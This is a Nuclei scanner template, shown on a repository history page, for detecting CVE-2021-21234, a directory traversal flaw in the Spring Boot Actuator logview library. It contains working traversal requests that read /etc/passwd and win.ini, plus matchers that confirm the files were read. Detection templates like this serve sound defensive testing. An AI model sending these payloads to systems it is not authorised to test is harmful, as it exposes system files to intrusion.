nuclei-templates/cves/2021/CVE-2021-21234.yaml

36 lines
1.4 KiB
YAML
Raw Normal View History

id: CVE-2021-21234
info:
name: Spring Boot Actuator Logview - Directory Traversal
2021-08-24 07:47:25 +00:00
author: gy741,pikpikcu
severity: high
2021-08-24 07:47:25 +00:00
description: spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability.
reference: |
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
2021-06-25 07:23:22 +00:00
tags: cve,cve2021,springboot,lfi
requests:
- method: GET
path:
2021-08-24 07:47:25 +00:00
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" #Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" #windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" #linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" #linux
matchers-condition: and
matchers:
- type: regex
part: body
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-08-24 07:47:25 +00:00
- type: word
part: body
words:
- "for 16-bit app support"
- type: status
status:
- 200